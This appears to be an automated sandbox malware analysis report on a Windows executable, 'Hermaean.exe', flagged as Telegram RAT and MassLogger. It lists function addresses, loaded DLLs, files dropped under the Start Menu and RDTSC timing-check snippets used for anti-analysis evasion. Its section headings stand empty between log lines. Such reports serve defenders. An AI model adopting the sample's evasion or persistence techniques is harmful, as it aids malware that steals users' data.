Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500CDD6	6_2_3500CDD6
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500F1D8	6_2_3500F1D8
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500CDE0	6_2_3500CDE0
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_350015EA	6_2_350015EA
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35000011	6_2_35000011
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500DC12	6_2_3500DC12
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500B818	6_2_3500B818
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500DC20	6_2_3500DC20
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500B828	6_2_3500B828
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35000040	6_2_35000040
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35003C42	6_2_35003C42
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35001C49	6_2_35001C49
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35003C50	6_2_35003C50
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500E068	6_2_3500E068
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500BC71	6_2_3500BC71
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500E078	6_2_3500E078
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500BC80	6_2_3500BC80
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35000489	6_2_35000489
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35000498	6_2_35000498
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35004098	6_2_35004098
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35009CA0	6_2_35009CA0
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_350040A8	6_2_350040A8
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500E4C0	6_2_3500E4C0
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500C0CA	6_2_3500C0CA
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500E4D0	6_2_3500E4D0
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500C0D8	6_2_3500C0D8
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_350008DF	6_2_350008DF
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_350008F0	6_2_350008F0
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_350044F0	6_2_350044F0
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500AB10	6_2_3500AB10
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500AB20	6_2_3500AB20
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35002F38	6_2_35002F38
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35002F48	6_2_35002F48
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500AF68	6_2_3500AF68
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500AF78	6_2_3500AF78
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35003392	6_2_35003392
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_350033A0	6_2_350033A0
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500B3C1	6_2_3500B3C1
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500B3D0	6_2_3500B3D0
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_350037E8	6_2_350037E8
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_350037F8	6_2_350037F8
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500F620	6_2_3500F620
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500D22E	6_2_3500D22E
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500F630	6_2_3500F630
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500D238	6_2_3500D238
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500A261	6_2_3500A261
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500A270	6_2_3500A270
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500FA78	6_2_3500FA78
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500D682	6_2_3500D682
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500FA88	6_2_3500FA88
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500D690	6_2_3500D690
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500A6B9	6_2_3500A6B9
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3500A6C8	6_2_3500A6C8
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35002AE0	6_2_35002AE0
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35002AF0	6_2_35002AF0
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35301620	6_2_35301620
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35303330	6_2_35303330
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35303980	6_2_35303980
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3530981C	6_2_3530981C
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35302698	6_2_35302698
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35302CE0	6_2_35302CE0
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35304E48	6_2_35304E48
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35304AE0	6_2_35304AE0
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35301610	6_2_35301610
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35303320	6_2_35303320
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35303FEF	6_2_35303FEF
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35303974	6_2_35303974
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3530B830	6_2_3530B830
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3530B850	6_2_3530B850
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35300498	6_2_35300498
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3530048A	6_2_3530048A
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35302618	6_2_35302618
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35302687	6_2_35302687
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35300012	6_2_35300012
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35304000	6_2_35304000
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35300040	6_2_35300040
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35302CD0	6_2_35302CD0
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35300B20	6_2_35300B20
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_385DBED8	6_2_385DBED8
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_385DDE70	6_2_385DDE70
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_385DDE60	6_2_385DDE60
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_385D5E30	6_2_385D5E30
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_385DD088	6_2_385DD088

Source: Hermaean.exe, 00000001.00000000.1727753600.000000000044D000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenametoggler triumvirates.exe4 vs Hermaean.exe
Source: Hermaean.exe, 00000006.00000002.3012470259.0000000034F77000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Hermaean.exe
Source: Hermaean.exe, 00000006.00000002.2987894043.000000000044D000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenametoggler triumvirates.exe4 vs Hermaean.exe
Source: Hermaean.exe, 00000006.00000002.2992279228.0000000004C22000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Hermaean.exe
Source: Hermaean.exe	Binary or memory string: OriginalFilenametoggler triumvirates.exe4 vs Hermaean.exe

Source: unknown	Process created: C:\Users\user\Desktop\Hermaean.exe "C:\Users\user\Desktop\Hermaean.exe"
Source: C:\Users\user\Desktop\Hermaean.exe	Process created: C:\Users\user\Desktop\Hermaean.exe "C:\Users\user\Desktop\Hermaean.exe"
Source: C:\Users\user\Desktop\Hermaean.exe	Process created: C:\Users\user\Desktop\Hermaean.exe "C:\Users\user\Desktop\Hermaean.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Section loaded: edputil.dll	Jump to behavior

Source: Yara match	File source: Process Memory Space: Hermaean.exe PID: 3436, type: MEMORYSTR
Source: Yara match	File source: 00000001.00000002.2244389028.00000000053A2000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 1_2_10002DB0 push eax; ret	1_2_10002DDE
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_049D6FC0 push 8BF88B6Eh; iretd	6_2_049D6FC7
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_049D68F5 push 8BF88B6Eh; iretd	6_2_049D68FC
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35009997 push dword ptr [ebp+ecx-75h]; retf	6_2_350099A2
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35008C74 push dword ptr [eax+ebp*8]; ret	6_2_35008C79
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35009C77 pushfd ; iretd	6_2_35009C78
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_353090E4 push esp; retn 37B5h	6_2_3530A979
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35309AC5 push ebp; iretd	6_2_35309AC8
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_35308578 pushad ; iretd	6_2_35308586
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3530855A pushad ; iretd	6_2_3530855C
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_353085D0 pushad ; iretd	6_2_353085D6
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3530A8D0 pushad ; iretd	6_2_3530A8A3
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_3530AB03 pushad ; iretd	6_2_3530AB04
Source: C:\Users\user\Desktop\Hermaean.exe	Code function: 6_2_385DD078 pushad ; retf	6_2_385DD079

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Hermaean.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
Hermaean.exe

Source: C:\Users\user\Desktop\Hermaean.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Glorification.Ove0	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Litiscontest.jpg	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Vandbreren.Ele222	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Tiggerstavens.fes	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Udgyd.ini	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Udtrttede.ini	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\aktioners.jpg	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\begrdeliges.pro	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\burdie.ini	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\cartographer.jpg	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\histographies.txt	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\icekhana.txt	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\manxman.jpg	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\modstaaet.jpg	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\musicianer.spi	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Tartarizations	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Tartarizations\ndder.jpg	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Liniestykkerne	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Liniestykkerne\romantiserendes.ini	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Liniestykkerne\Ostrich	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Liniestykkerne\Ostrich\semiquadrangle.ini	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Liniestykkerne\Ostrich\sugarcane.jpg	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Liniestykkerne\Ostrich\tinkle.jpg	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne\Liniestykkerne\Ostrich\unagitatedness.txt	Jump to behavior

Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\Hermaean.exe	API/Special instruction interceptor: Address: 5B7892F
Source: C:\Users\user\Desktop\Hermaean.exe	API/Special instruction interceptor: Address: 1FF892F

Source: C:\Users\user\Desktop\Hermaean.exe	RDTSC instruction interceptor: First address: 5B18F15 second address: 5B18F15 instructions: 0x00000000 rdtsc 0x00000002 test dh, dh 0x00000004 test eax, ebx 0x00000006 cmp ebx, ecx 0x00000008 jc 00007F7FB8B3C032h 0x0000000a test cl, dl 0x0000000c inc ebp 0x0000000d inc ebx 0x0000000e cmp eax, ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Hermaean.exe	RDTSC instruction interceptor: First address: 1F98F15 second address: 1F98F15 instructions: 0x00000000 rdtsc 0x00000002 test dh, dh 0x00000004 test eax, ebx 0x00000006 cmp ebx, ecx 0x00000008 jc 00007F7FB85004E2h 0x0000000a test cl, dl 0x0000000c inc ebp 0x0000000d inc ebx 0x0000000e cmp eax, ecx 0x00000010 rdtsc

Source: C:\Users\user\Desktop\Hermaean.exe	Memory allocated: 4990000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Hermaean.exe	Memory allocated: 35320000 memory reserve \| memory write watch	Jump to behavior
